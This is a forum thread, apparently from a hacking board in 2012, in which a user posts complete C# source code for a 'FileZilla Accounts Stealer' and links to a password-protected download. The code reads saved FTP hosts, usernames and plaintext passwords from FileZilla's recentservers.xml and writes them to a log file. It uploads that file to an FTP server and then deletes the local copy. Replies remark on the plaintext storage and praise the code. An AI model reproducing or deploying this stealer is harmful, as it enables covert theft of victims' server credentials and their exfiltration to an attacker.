Author Topic: [SourceCode]FileZilla Accounts Stealer  (Read 3162 times)

0 Members and 1 Guest are viewing this topic.

Offline CorruptedByte

  • Serf
  • *
  • Posts: 23
  • Cookies: 2
  • Lët Thë Hãçkïng Bëgïn
    • View Profile
    • Underc0de
[SourceCode]FileZilla Accounts Stealer
« on: February 18, 2012, 07:40:49 pm »
Hi, here is a code in C# to save all the accounts of filezilla in a text document and send to a FTP server. I have split the program in 3 classes.

Main class using methods of the other classes:
Code: [Select]
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.NetworkInformation;
using System.IO;
using System.Xml;
using System.Threading;

namespace FileZillaStealer
{
    class Stealer
    {
        static void Main(string[] args)
        {
            string sLogs = IPGlobalProperties.GetIPGlobalProperties().HostName +"Logs.txt";
            AccountStealer StealAccounts = new AccountStealer();
            FTP SendAccounts = new FTP();
            StealAccounts.FileZillaAccounts(sLogs);
            SendAccounts.Send("ftp.server.com", "/public_html/", "user", "pass", sLogs);
            System.IO.File.Delete(sLogs);
        }
    }
}

Metod to send the text file to the FTP Server:
Code: [Select]
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Net;

namespace FileZillaStealer
{
    class FTP
    {
        public void Send(string sHost, string sDir, string sUser, string sPass, string sFile)
        {
            string ftpHostDirFile = "ftp://" + sHost +sDir +sFile;
            FtpWebRequest ftp = (FtpWebRequest)FtpWebRequest.Create(ftpHostDirFile);
            ftp.Credentials = new NetworkCredential(sUser, sPass);
            ftp.KeepAlive = true;
            ftp.UseBinary = true;
            ftp.Method = WebRequestMethods.Ftp.UploadFile;
            FileStream fs = File.OpenRead(sFile);
            byte[] buffer = new byte[fs.Length];
            fs.Read(buffer, 0, buffer.Length);
            fs.Close();
            Stream ftpstream = ftp.GetRequestStream();
            ftpstream.Write(buffer, 0, buffer.Length);
            ftpstream.Close();
        }
    }
}

Metod for save the accounts
Code: [Select]
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Xml;
using System.Runtime.InteropServices;
using Microsoft.VisualBasic;

namespace FileZillaStealer
{
    class AccountStealer
    {
        public void FileZillaAccounts(string sLogsPath)
        {
            XmlDocument xmlAccountsFile = new XmlDocument();
            string sFilePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\FileZilla\\recentservers.xml";
            xmlAccountsFile.Load(sFilePath);
            XmlNodeList xmlRecentServers = xmlAccountsFile.GetElementsByTagName("RecentServers");
            XmlNodeList xmlList = ((XmlElement)xmlRecentServers[0]).GetElementsByTagName("Server");
            string sAccount;
            foreach (XmlElement nodo in xmlList)
            {
                XmlNodeList xmlHost = nodo.GetElementsByTagName("Host");
                XmlNodeList xmlPort = nodo.GetElementsByTagName("Port");
                XmlNodeList xmlUser = nodo.GetElementsByTagName("User");
                XmlNodeList xmlPass = nodo.GetElementsByTagName("Pass");
                sAccount = string.Format("Host: {0} Port: {1} User: {2} Pass: {3}", xmlHost[0].InnerText, xmlPort[0].InnerText, xmlUser[0].InnerText, xmlPass[0].InnerText);
                FileStream fsLogs = new FileStream(sLogsPath, FileMode.OpenOrCreate, FileAccess.Write);
                fsLogs.Close();
                StreamWriter swAccount = File.AppendText(sLogsPath);
                swAccount.WriteLine(sAccount);
                swAccount.Close();
            }
        }
    }

VS2010 Project:

Download:
http://www.mediafire.com/?2u2sns4d3rwdple
Password:
Backroot.org

Offline 10n1z3d

  • Serf
  • *
  • Posts: 42
  • Cookies: 8
    • View Profile
Re: [SourceCode]FileZilla Accounts Stealer
« Reply #1 on: February 19, 2012, 09:42:58 am »
Code: [Select]
string sFilePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\FileZilla\\recentservers.xml";
DAFUQ?

Can't believe they are actually storing the passwords in plain text.
Code: [Select]
python -c "print ''.join(chr(x) for x in [int(oct(39)) + 2, 24 * 2, 313 % 203, 0x31, (2 ** 7) - 6, int('051'), (3 << 6) - 92])"

Offline Satan911

  • VIP
  • Knight
  • *
  • Posts: 289
  • Cookies: 25
  • Retired god/admin
    • View Profile
Re: [SourceCode]FileZilla Accounts Stealer
« Reply #2 on: February 19, 2012, 10:34:01 am »
Code: [Select]
string sFilePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\FileZilla\\recentservers.xml";
DAFUQ?

Can't believe they are actually storing the passwords in plain text.

Yep. Appdata is full of surprises!

As for the code, I would have done it the same way. Good job.
Satan911
Evilzone Network Administrator